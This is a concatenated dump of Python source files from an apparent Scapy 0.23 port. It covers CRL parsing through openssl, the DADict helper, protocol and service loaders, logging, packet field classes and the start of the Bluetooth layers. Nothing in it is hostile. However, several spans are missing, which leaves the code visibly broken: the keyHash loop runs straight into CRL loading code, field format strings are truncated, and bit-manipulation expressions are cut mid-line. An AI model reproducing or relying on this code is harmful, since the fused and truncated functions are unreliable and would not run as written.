the number of days the certificate will still be valid. The date used for the comparison is the current and local date, as returned by time.localtime(), except if 'now' argument is provided another one. 'now' argument can be given as either a time tuple or a string representing the date. Accepted format for the string version are: - '%b %d %H:%M:%S %Y %Z' e.g. 'Jan 30 07:38:59 2008 GMT' - '%m/%d/%y' e.g. '01/30/08' (less precise) If the certificate is no more valid at the date considered, then, a negative value is returned representing the number of days since it has expired. The number of days is returned as a float to deal with the unlikely case of certificates that are still just valid. """ if now is None: now = time.localtime() elif type(now) is str: try: if '/' in now: now = time.strptime(now, '%m/%d/%y') else: now = time.strptime(now, '%b %d %H:%M:%S %Y %Z') except: warning("Bad time string provided '%s'. Using current time" % now) now = time.localtime() now = time.mktime(now) nft = time.mktime(self.notAfter) diff = (nft - now)/(24.*3600) return diff # return SHA-1 hash of cert embedded public key # !! At the moment, the trailing 0 is in the hashed string if any def keyHash(self): m = self.modulus_hexdump res = [] i = 0 l = len(m) while i MAX_CRL_SIZE: raise Exception(error_msg) try: f = open(crlpath) rawcrl = f.read() f.close() except: raise Exception(error_msg) else: rawcrl = crlpath if rawcrl is None: raise Exception(error_msg) self.rawcrl = rawcrl # Let's try to get file format : PEM or DER. fmtstr = 'openssl crl -text -inform %s -noout' convertstr = 'openssl crl -inform %s -outform %s' crl_header = "-----BEGIN X509 CRL-----" crl_footer = "-----END X509 CRL-----" l = rawcrl.split(crl_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(crl_footer, 1) if len(l) == 2: tmp = l[0] rawcrl = "%s%s%s\n" % (crl_header, tmp, crl_footer) else: raise Exception(error_msg) r,w,e = popen3((fmtstr % "PEM").split(" ")) w.write(rawcrl) w.close() textcrl = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemcrl = rawcrl self.textcrl = textcrl cmd = (convertstr % ("PEM", "DER")).split(" ") self.dercrl = self._apply_ossl_cmd(cmd, rawcrl) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen3((fmtstr % "DER").split(' ')) w.write(rawcrl) w.close() textcrl = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.dercrl = rawcrl self.textcrl = textcrl cmd = (convertstr % ("DER", "PEM")).split(" ") self.pemcrl = self._apply_ossl_cmd(cmd, rawcrl) cmd = (convertstr % ("DER", "DER")).split(" ") self.dercrl = self._apply_ossl_cmd(cmd, rawcrl) else: raise Exception(error_msg) self.osslcmdbase = ['openssl', 'crl', '-inform', self.format] r,w,e = popen3(('openssl asn1parse -inform DER').split(" ")) w.write(self.dercrl) w.close() self.asn1parsecrl = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) # Grab _raw_ X509v3 Authority Key Identifier, if any. tmp = self.asn1parsecrl.split(":X509v3 Authority Key Identifier", 1) self.authorityKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.authorityKeyID=tmp.split('\n',1)[0] # Parse the -text output of openssl to make things available tmp = self.textcrl.split('\n', 1)[1] l = tmp.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Version cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # version v = fields_dict[" Version"] self.version = None if v: self.version = int(v[1:2]) if self.version is None: raise Exception(error_msg) # signature algorithm v = fields_dict[" Signature Algorithm:"] self.sigAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.sigAlg = v if self.sigAlg is None: raise Exception(error_msg) # issuer v = fields_dict[" Issuer:"] self.issuer = None if v: v = v.split('\n',1)[0] v = v.strip() self.issuer = v if self.issuer is None: raise Exception(error_msg) # last update v = fields_dict[" Last Update:"] self.lastUpdate_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.lastUpdate_str = v if self.lastUpdate_str is None: raise Exception(error_msg) self.lastUpdate = time.strptime(self.lastUpdate_str, "%b %d %H:%M:%S %Y %Z") self.lastUpdate_str_simple = time.strftime("%x", self.lastUpdate) # next update v = fields_dict[" Next Update:"] self.nextUpdate_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.nextUpdate_str = v if self.nextUpdate_str is None: raise Exception(error_msg) self.nextUpdate = time.strptime(self.nextUpdate_str, "%b %d %H:%M:%S %Y %Z") self.nextUpdate_str_simple = time.strftime("%x", self.nextUpdate) # XXX Do something for Issuer Alternative Name # Authority Key Identifier: keyid, dirname and serial self.authorityKeyID_keyid = None self.authorityKeyID_dirname = None self.authorityKeyID_serial = None if self.authorityKeyID: # (hex version already done using asn1parse) v = fields_dict[" keyid:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_keyid = v v = fields_dict[" DirName:"] if v: v = v.split('\n',1)[0] self.authorityKeyID_dirname = v v = fields_dict[" serial:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_serial = v # number v = fields_dict[" X509v3 CRL Number:"] self.number = None if v: v = v.split('\n',2)[1] v = v.strip() self.number = int(v) # Get the list of serial numbers of revoked certificates self.revoked_cert_serials = [] v = fields_dict["Revoked Certificates:"] t = fields_dict["No Revoked Certificates."] if (t is None and v is not None): v = v.split("Serial Number: ")[1:] for r in v: s,d = r.split('\n', 1) s = s.split('\n', 1)[0] d = d.split("Revocation Date:", 1)[1] d = time.strptime(d.strip(), "%b %d %H:%M:%S %Y %Z") self.revoked_cert_serials.append((s,d)) # signature field v = fields_dict[" Signature Algorithm:" ] self.sig = None if v: v = v.split('\n',1)[1] v = v.replace(' ', '').replace('\n', '') self.sig = "".join(map(lambda x: chr(int(x, 16)), v.split(':'))) self.sigLen = len(self.sig) if self.sig is None: raise Exception(error_msg) def __str__(self): return self.dercrl # Print main informations stored in CRL def show(self): print("Version: %d" % self.version) print("sigAlg: " + self.sigAlg) print("Issuer: " + self.issuer) print("lastUpdate: %s" % self.lastUpdate_str_simple) print("nextUpdate: %s" % self.nextUpdate_str_simple) def verify(self, anchors): """ Return True if the CRL is signed by one of the provided anchors. False on error (invalid signature, missing anchorand, ...) """ cafile = create_temporary_ca_file(anchors) if cafile is None: return False try: cmd = self.osslcmdbase + ["-noout", "-CAfile", cafile] cmdres = self._apply_ossl_cmd(cmd, self.rawcrl) except: os.unlink(cafile) return False os.unlink(cafile) return "verify OK" in cmdres scapy-0.23/scapy/dadict.py000066400000000000000000000065331320561231000154760ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Direct Access dictionary. """ from .error import Scapy_Exception ############################### ## Direct Access dictionnary ## ############################### def fixname(x): if x and x[0] in "0123456789": x = "n_"+x return x.translate("________________________________________________0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______abcdefghijklmnopqrstuvwxyz_____________________________________________________________________________________________________________________________________") class DADict_Exception(Scapy_Exception): pass class DADict: def __init__(self, _name="DADict", **kargs): self._name=_name self.__dict__.update(kargs) def fixname(self,val): return fixname(val) def __contains__(self, val): return val in self.__dict__ def __getitem__(self, attr): return getattr(self, attr) def __setitem__(self, attr, val): return setattr(self, self.fixname(attr), val) def __iter__(self): #return iter(map(lambda (x,y):y,filter(lambda (x,y):x and x[0]!="_", self.__dict__.items()))) #return iter(map(lambda a:a[1],filter(lambda a:a[0] and a[0][0]!="_", self.__dict__.items()))) return iter([a[1] for a in self.__dict__.items() if a[0] and a[0][0]!=" "]) def _show(self): for k in self.__dict__.keys(): if k and k[0] != "_": print("%10s = %r" % (k,getattr(self,k))) def __repr__(self): #return "<%s/ %s>" % (self._name," ".join(filter(lambda x:x and x[0]!="_",self.__dict__.keys()))) return "<%s/ %s>" % (self._name," ".join([ x for x in self.__dict__.keys() if x and x[0]!="_"])) def _branch(self, br, uniq=0): if uniq and br._name in self: raise DADict_Exception("DADict: [%s] already branched in [%s]" % (br._name, self._name)) self[br._name] = br def _my_find(self, *args, **kargs): if args and self._name not in args: return False for k in kargs: if k not in self or self[k] != kargs[k]: return False return True def _find(self, *args, **kargs): return self._recurs_find((), *args, **kargs) def _recurs_find(self, path, *args, **kargs): if self in path: return None if self._my_find(*args, **kargs): return self for o in self: if isinstance(o, DADict): p = o._recurs_find(path+(self,), *args, **kargs) if p is not None: return p return None def _find_all(self, *args, **kargs): return self._recurs_find_all((), *args, **kargs) def _recurs_find_all(self, path, *args, **kargs): r = [] if self in path: return r if self._my_find(*args, **kargs): r.append(self) for o in self: if isinstance(o, DADict): p = o._recurs_find_all(path+(self,), *args, **kargs) r += p return r def keys(self): #return filter(lambda x:x and x[0]!="_", self.__dict__.keys()) return [ x for x in self.__dict__.keys() if x and x[0]!="_" ] scapy-0.23/scapy/data.py000066400000000000000000000141231320561231000151510ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Global variables and functions for handling external data sets. """ import os,sys,re from .dadict import DADict from .error import log_loading ############ ## Consts ## ############ ETHER_ANY = b"\x00"*6 ETHER_BROADCAST = b"\xff"*6 ETH_P_ALL = 3 ETH_P_IP = 0x800 ETH_P_ARP = 0x806 ETH_P_IPV6 = 0x86dd # From net/if_arp.h ARPHDR_ETHER = 1 ARPHDR_METRICOM = 23 ARPHDR_PPP = 512 ARPHDR_LOOPBACK = 772 ARPHDR_TUN = 65534 # From net/ipv6.h on Linux (+ Additions) IPV6_ADDR_UNICAST = 0x01 IPV6_ADDR_MULTICAST = 0x02 IPV6_ADDR_CAST_MASK = 0x0F IPV6_ADDR_LOOPBACK = 0x10 IPV6_ADDR_GLOBAL = 0x00 IPV6_ADDR_LINKLOCAL = 0x20 IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 IPV6_ADDR_SCOPE_MASK = 0xF0 #IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 #IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) IPV6_ADDR_UNSPECIFIED = 0x10000 MTU = 0x7fff # a.k.a give me all you have WINDOWS=sys.platform.startswith("win") # file parsing to get some values : def load_protocols(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: for l in open(filename): try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1]) except Exception as e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) except IOError: log_loading.info("Can't open %s file" % filename) return dct def load_ethertypes(filename): spaces = re.compile("[ \t]+|\n") dct = DADict(_name=filename) try: f=open(filename) for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue dct[lt[0]] = int(lt[1], 16) except Exception as e: log_loading.info("Couldn't parse file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError as msg: pass return dct def load_services(filename): spaces = re.compile("[ \t]+|\n") tdct=DADict(_name="%s-tcp"%filename) udct=DADict(_name="%s-udp"%filename) try: f=open(filename, errors='ignore') for l in f: try: shrp = l.find("#") if shrp >= 0: l = l[:shrp] l = l.strip() if not l: continue lt = tuple(re.split(spaces, l)) if len(lt) < 2 or not lt[0]: continue if lt[1].endswith("/tcp"): tdct[lt[0]] = int(lt[1].split('/')[0]) elif lt[1].endswith("/udp"): udct[lt[0]] = int(lt[1].split('/')[0]) except Exception as e: log_loading.warning("Couldn't file [%s]: line [%r] (%s)" % (filename,l,e)) f.close() except IOError: log_loading.info("Can't open /etc/services file") return tdct,udct class ManufDA(DADict): def fixname(self, val): return val def _get_manuf_couple(self, mac): oui = ":".join(mac.split(":")[:3]).upper() return self.__dict__.get(oui,(mac,mac)) def _get_manuf(self, mac): return self._get_manuf_couple(mac)[1] def _get_short_manuf(self, mac): return self._get_manuf_couple(mac)[0] def _resolve_MAC(self, mac): oui = ":".join(mac.split(":")[:3]).upper() if oui in self: return ":".join([self[oui][0]]+ mac.split(":")[3:]) return mac def load_manuf(filename): try: manufdb=ManufDA(_name=filename) for l in open(filename, "r", encoding = 'utf-8'): try: l = l.strip() if not l or l.startswith("#"): continue oui,shrt=l.split()[:2] i = l.find("#") if i < 0: lng=shrt else: lng = l[i+2:] manufdb[oui] = shrt,lng except Exception as e: log_loading.warning("Couldn't parse one line from [%s] [%r] (%s)" % (filename, l, e)) except IOError: #log_loading.warning("Couldn't open [%s] file" % filename) pass return manufdb if WINDOWS: ETHER_TYPES=load_ethertypes("ethertypes") IP_PROTOS=load_protocols(os.environ["SystemRoot"]+"\system32\drivers\etc\protocol") TCP_SERVICES,UDP_SERVICES=load_services(os.environ["SystemRoot"] + "\system32\drivers\etc\services") MANUFDB = load_manuf(os.environ["ProgramFiles"] + "\\wireshark\\manuf") else: IP_PROTOS=load_protocols("/etc/protocols") ETHER_TYPES=load_ethertypes("/etc/ethertypes") TCP_SERVICES,UDP_SERVICES=load_services("/etc/services") MANUFDB = load_manuf("/usr/share/wireshark/manuf") ##################### ## knowledge bases ## ##################### class KnowledgeBase: def __init__(self, filename): self.filename = filename self.base = None def lazy_init(self): self.base = "" def reload(self, filename = None): if filename is not None: self.filename = filename oldbase = self.base self.base = None self.lazy_init() if self.base is None: self.base = oldbase def get_base(self): if self.base is None: self.lazy_init() return self.base scapy-0.23/scapy/error.py000066400000000000000000000034671320561231000154020ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Logging subsystem and basic exception class. """ ############################# ##### Logging subsystem ##### ############################# class Scapy_Exception(Exception): pass import logging,traceback,time class ScapyFreqFilter(logging.Filter): def __init__(self): logging.Filter.__init__(self) self.warning_table = {} def filter(self, record): from .config import conf wt = conf.warning_threshold if wt > 0: stk = traceback.extract_stack() caller=None for f,l,n,c in stk: if n == 'warning': break caller = l tm,nb = self.warning_table.get(caller, (0,0)) ltm = time.time() if ltm-tm > wt: tm = ltm nb = 0 else: if nb < 2: nb += 1 if nb == 2: record.msg = "more "+record.msg else: return 0 self.warning_table[caller] = (tm,nb) return 1 log_scapy = logging.getLogger("scapy") console_handler = logging.StreamHandler() console_handler.setFormatter(logging.Formatter("%(levelname)s: %(message)s")) log_scapy.addHandler(console_handler) log_runtime = logging.getLogger("scapy.runtime") # logs at runtime log_runtime.addFilter(ScapyFreqFilter()) log_interactive = logging.getLogger("scapy.interactive") # logs in interactive functions log_loading = logging.getLogger("scapy.loading") # logs when loading scapy def warning(x): log_runtime.warning(x) scapy-0.23/scapy/fields.py000066400000000000000000000711121320561231000155070ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields: basic data structures that make up parts of packets. """ import struct,copy,socket from .config import conf from .volatile import * from .data import * from .utils import * from .base_classes import BasePacket,Gen,Net ############ ## Fields ## ############ class Field: """For more informations on how this work, please refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf chapter ``Adding a New Field''""" islist=0 holds_packets=0 def __init__(self, name, default, fmt="H"): self.name = name if fmt[0] in "@=<>!": self.fmt = fmt else: self.fmt = "!"+fmt self.default = self.any2i(None,default) self.sz = struct.calcsize(self.fmt) self.owners = [] def register_owner(self, cls): self.owners.append(cls) def i2len(self, pkt, x): """Convert internal value to a length usable by a FieldLenField""" return self.sz def i2count(self, pkt, x): """Convert internal value to a number of elements usable by a FieldLenField. Always 1 except for list fields""" return 1 def i2b(self, pkt, x): """Convert internal value to internal value""" if type(x) is str: x = bytes([ ord(i) for i in x ]) return x def i2dict(self, pkt, x): return { self.name: x } def h2i(self, pkt, x): """Convert human value to internal value""" if type(x) is str: x = bytes([ ord(i) for i in x ]) return x def i2h(self, pkt, x): """Convert internal value to human value""" return x def m2i(self, pkt, x): """Convert machine value to internal value""" return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: x = 0 return x def any2i(self, pkt, x): """Try to understand the most input values possible and make an internal value from them""" return self.h2i(pkt, x) def i2repr(self, pkt, x): """Convert internal value to a nice representation""" return repr(self.i2h(pkt,x)) def addfield(self, pkt, s, val): """Add an internal value to a string""" return s+struct.pack(self.fmt, self.i2m(pkt,val)) def getfield(self, pkt, s): """Extract an internal value from a string""" return s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, s[:self.sz])[0]) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if type(x) is list: x = x[:] for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def __repr__(self): return "" % (",".join(x.__name__ for x in self.owners),self.name) def copy(self): return copy.deepcopy(self) def randval(self): """Return a volatile object whose value is both random and suitable for this field""" fmtt = self.fmt[-1] if fmtt in "BHIQ": return {"B":RandByte,"H":RandShort,"I":RandInt, "Q":RandLong}[fmtt]() elif fmtt == "s": if self.fmt[0] in "0123456789": l = int(self.fmt[:-1]) else: l = int(self.fmt[1:-1]) return RandBin(l) else: warning("no random class for [%s] (fmt=%s)." % (self.name, self.fmt)) class Emph: fld = b"" def __init__(self, fld): self.fld = fld def __getattr__(self, attr): return getattr(self.fld,attr) def __hash__(self): return hash(self.fld) def __eq__(self, other): return self.fld == other class ActionField: _fld = None def __init__(self, fld, action_method, **kargs): self._fld = fld self._action_method = action_method self._privdata = kargs def any2i(self, pkt, val): getattr(pkt, self._action_method)(val, self._fld, **self._privdata) return getattr(self._fld, "any2i")(pkt, val) def __getattr__(self, attr): return getattr(self._fld,attr) class ConditionalField: fld = None def __init__(self, fld, cond): self.fld = fld self.cond = cond def _evalcond(self,pkt): return self.cond(pkt) def getfield(self, pkt, s): if self._evalcond(pkt): return self.fld.getfield(pkt,s) else: return s,None def addfield(self, pkt, s, val): if self._evalcond(pkt): return self.fld.addfield(pkt,s,val) else: return s def __getattr__(self, attr): return getattr(self.fld,attr) class PadField: """Add bytes after the proxified field so that it ends at the specified alignment from its begining""" _fld = None def __init__(self, fld, align, padwith=None): self._fld = fld self._align = align self._padwith = padwith or b"" def padlen(self, flen): return -flen%self._align def getfield(self, pkt, s): remain,val = self._fld.getfield(pkt,s) padlen = self.padlen(len(s)-len(remain)) return remain[padlen:], val def addfield(self, pkt, s, val): sval = self._fld.addfield(pkt, b"", val) return s+sval+struct.pack("%is" % (self.padlen(len(sval))), self._padwith) def __getattr__(self, attr): return getattr(self._fld,attr) class MACField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): if x is None: return b"\0\0\0\0\0\0" return mac2str(x) def m2i(self, pkt, x): return str2mac(x) def any2i(self, pkt, x): if type(x) is bytes and len(x) is 6: x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): return RandMAC() class IPField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def h2i(self, pkt, x): if type(x) is str: try: inet_aton(x) except socket.error: x = Net(x) elif type(x) is list: x = [self.h2i(pkt, n) for n in x] return x def resolve(self, x): if self in conf.resolve: try: ret = socket.gethostbyaddr(x)[0] except: pass else: if ret: return ret return x def i2m(self, pkt, x): return inet_aton(x) def m2i(self, pkt, x): return inet_ntoa(x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): return self.resolve(self.i2h(pkt, x)) def randval(self): return RandIP() class SourceIPField(IPField): def __init__(self, name, dstname): IPField.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: iff,x,gw = pkt.route() if x is None: x = "0.0.0.0" return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): #r = map(conf.route.route, dst) r = [ conf.route.route(i) for i in dst ] r.sort() if r[0] != r[-1]: warning("More than one possible route for %s"%repr(dst)) iff,x,gw = r[0] else: iff,x,gw = conf.route.route(dst) return IPField.i2h(self, pkt, x) class ByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "B") class SignedByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") class XByteField(ByteField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class OByteField(ByteField): def i2repr(self, pkt, x): return "%03o"%self.i2h(pkt, x) class X3BytesField(XByteField): def __init__(self, name, default): Field.__init__(self, name, default, "!I") def addfield(self, pkt, s, val): return s+struct.pack(self.fmt, self.i2m(pkt,val))[1:4] def getfield(self, pkt, s): return s[3:], self.m2i(pkt, struct.unpack(self.fmt, b"\x00"+s[:3])[0]) class ShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "H") class LEShortField(Field): def __init__(self, name, default): Field.__init__(self, name, default, ">4))+chr(0x41+(ord(x)&0xf)), x)) x = b"".join([ bytes([0x41+(i>>4),0x41+(i&0xf)]) for i in x ]) x = b" "+x return x def m2i(self, pkt, x): x = x.strip(b"\x00").strip(b" ") #return b"".join(map(lambda x,y: chr((((ord(x)-1)&0xf)<<4)+((ord(y)-1)&0xf)), x[::2],x[1::2])) return b"".join(map(lambda x,y: bytes([(((x-1)&0xf)<<4)+((y-1)&0xf)]), x[::2],x[1::2])) class StrLenField(StrField): def __init__(self, name, default, fld=None, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class FieldListField(Field): islist=1 def __init__(self, name, default, field, length_from=None, count_from=None): if default is None: default = [] # Create a new list for each instance Field.__init__(self, name, default) self.count_from = count_from self.length_from = length_from self.field = field def i2count(self, pkt, val): if type(val) is list: return len(val) return 1 def i2len(self, pkt, val): return sum( self.field.i2len(pkt,v) for v in val ) def i2m(self, pkt, val): if val is None: val = [] return val def any2i(self, pkt, x): if type(x) is not list: return [x] else: return x def addfield(self, pkt, s, val): val = self.i2m(pkt, val) for v in val: s = self.field.addfield(pkt, s, v) return s def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) val = [] ret=b"" if l is not None: s,ret = s[:l],s[l:] while s: if c is not None: if c <= 0: break c -= 1 s,v = self.field.getfield(pkt, s) val.append(v) return s+ret, val class FieldLenField(Field): def __init__(self, name, default, length_of=None, fmt = "H", count_of=None, adjust=lambda pkt,x:x, fld=None): Field.__init__(self, name, default, fmt) self.length_of=length_of self.count_of=count_of self.adjust=adjust if fld is not None: FIELD_LENGTH_MANAGEMENT_DEPRECATION(self.__class__.__name__) self.length_of = fld def i2m(self, pkt, x): if x is None: if self.length_of is not None: fld,fval = pkt.getfield_and_val(self.length_of) f = fld.i2len(pkt, fval) else: fld,fval = pkt.getfield_and_val(self.count_of) f = fld.i2count(pkt, fval) x = self.adjust(pkt,f) return x class StrNullField(StrField): def addfield(self, pkt, s, val): return s+self.i2m(pkt, val)+b"\x00" def getfield(self, pkt, s): l = s.find(b"\x00") if l < 0: #XXX \x00 not found return "",s return s[l+1:],self.m2i(pkt, s[:l]) def randval(self): return RandTermString(RandNum(0,1200),b"\x00") class StrStopField(StrField): def __init__(self, name, default, stop, additionnal=0): Field.__init__(self, name, default) self.stop=stop self.additionnal=additionnal def getfield(self, pkt, s): l = s.find(self.stop) if l < 0: return b"",s # raise Scapy_Exception,"StrStopField: stop value [%s] not found" %stop l += len(self.stop)+self.additionnal return s[l:],s[:l] def randval(self): return RandTermString(RandNum(0,1200),self.stop) class LenField(Field): def i2m(self, pkt, x): if x is None: x = len(pkt.payload) return x class BCDFloatField(Field): def i2m(self, pkt, x): return int(256*x) def m2i(self, pkt, x): return x/256.0 class BitField(Field): def __init__(self, name, default, size): Field.__init__(self, name, default) self.rev = size < 0 self.size = abs(size) def reverse(self, val): if self.size == 16: val = socket.ntohs(val) elif self.size == 32: val = socket.ntohl(val) return val def addfield(self, pkt, s, val): val = self.i2m(pkt, val) if type(s) is tuple: s,bitsdone,v = s else: bitsdone = 0 v = 0 if self.rev: val = self.reverse(val) v <<= self.size v |= val & ((1<= 8: bitsdone -= 8 s = s+struct.pack("!B", v >> bitsdone) v &= (1<> (nb_bytes*8 - self.size - bn) if self.rev: b = self.reverse(b) bn += self.size s = s[bn//8:] bn = bn%8 b = self.m2i(pkt, b) if bn: return (s,bn),b else: return s,b def randval(self): return RandNum(0,2**self.size-1) class BitFieldLenField(BitField): def __init__(self, name, default, size, length_of=None, count_of=None, adjust=lambda pkt,x:x): BitField.__init__(self, name, default, size) self.length_of=length_of self.count_of=count_of self.adjust=adjust def i2m(self, pkt, x): #return FieldLenField.i2m.im_func(self, pkt, x) return FieldLenField.i2m(self, pkt, x) class XBitField(BitField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt,x)) class EnumField(Field): def __init__(self, name, default, enum, fmt = "H"): i2s = self.i2s = {} s2i = self.s2i = {} if type(enum) is list: keys = range(len(enum)) else: keys = enum.keys() if list(filter(lambda x: type(x) is str, keys)): i2s,s2i = s2i,i2s for k in keys: i2s[k] = enum[k] s2i[enum[k]] = k Field.__init__(self, name, default, fmt) def any2i_one(self, pkt, x): if type(x) is str: x = self.s2i[x] return x def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x,VolatileValue) and x in self.i2s: return self.i2s[x] return repr(x) def any2i(self, pkt, x): if type(x) is list: return list(map(lambda z,pkt=pkt:self.any2i_one(pkt,z), x)) else: return self.any2i_one(pkt,x) def i2repr(self, pkt, x): if type(x) is list: return list(map(lambda z,pkt=pkt:self.i2repr_one(pkt,z), x)) else: return self.i2repr_one(pkt,x) class CharEnumField(EnumField): def __init__(self, name, default, enum, fmt = "1s"): EnumField.__init__(self, name, default, enum, fmt) k = list(self.i2s.keys()) if k and len(k[0]) != 1: self.i2s,self.s2i = self.s2i,self.i2s def any2i_one(self, pkt, x): if len(x) != 1: x = self.s2i[x] return x class BitEnumField(BitField,EnumField): def __init__(self, name, default, size, enum): EnumField.__init__(self, name, default, enum) self.rev = size < 0 self.size = abs(size) def any2i(self, pkt, x): return EnumField.any2i(self, pkt, x) def i2repr(self, pkt, x): return EnumField.i2repr(self, pkt, x) class ShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, "H") class LEShortEnumField(EnumField): def __init__(self, name, default, enum): EnumField.__init__(self, name, default, enum, ">= 1 if self.multi: r = "+".join(r) return r def i2dict(self, pkt, x): # Potential compatibility issue for older code. And fields to conf.noenum for old behaviour if self.multi: r = {} else: return { self.names: x } for i,n in enumerate(self.names): if x & 1: r[n] = True else: r[n] = False x >>= 1 return r class FixedPointField(BitField): def __init__(self, name, default, size, frac_bits=16): self.frac_bits = frac_bits BitField.__init__(self, name, default, size) def any2i(self, pkt, val): if val is None: return val ival = int(val) fract = int( (val-ival) * 2**self.frac_bits ) return (ival << self.frac_bits) | fract def i2h(self, pkt, val): int_part = val >> self.frac_bits frac_part = val & (1 << self.frac_bits) - 1 frac_part /= 2.0**self.frac_bits return int_part+frac_part def i2repr(self, pkt, val): return self.i2h(pkt, val) scapy-0.23/scapy/layers/000077500000000000000000000000001320561231000151645ustar00rootroot00000000000000scapy-0.23/scapy/layers/__init__.py000066400000000000000000000003361320561231000172770ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Layer package. """ scapy-0.23/scapy/layers/all.py000066400000000000000000000015411320561231000163070ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ All layers. Configurable with conf.load_layers. """ import importlib from scapy.config import conf from scapy.error import log_loading import logging log = logging.getLogger("scapy.loading") log_loading.info("Please, report issues to https://github.com/phaethon/scapy") def _import_star(m): #mod = __import__("." + m, globals(), locals()) mod = importlib.import_module("scapy.layers." + m) for k,v in mod.__dict__.items(): globals()[k] = v for _l in conf.load_layers: log_loading.debug("Loading layer %s" % _l) try: _import_star(_l) except Exception as e: log.warning("can't import layer %s: %s" % (_l,e)) scapy-0.23/scapy/layers/bluetooth.py000066400000000000000000000157261320561231000175560ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Bluetooth layers, sockets and send/receive functions. """ import socket,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.supersocket import SuperSocket from scapy.data import MTU class HCI_Hdr(Packet): name = "HCI header" fields_desc = [ ByteEnumField("type",2,{1:"command",2:"ACLdata",3:"SCOdata",4:"event",5:"vendor"}),] def mysummary(self): return self.sprintf("HCI %type%") class HCI_ACL_Hdr(Packet): name = "HCI ACL header" fields_desc = [ ByteField("handle",0), # Actually, handle is 12 bits and flags is 4. ByteField("flags",0), # I wait to write a LEBitField LEShortField("len",None), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 #p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] p = p[:2]+bytes([(l&0xff),((l>>8)&0xff)])+p[4:] return p class L2CAP_Hdr(Packet): name = "L2CAP header" fields_desc = [ LEShortField("len",None), LEShortEnumField("cid",0,{1:"control"}),] def post_build(self, p, pay): p += pay if self.len is None: l = 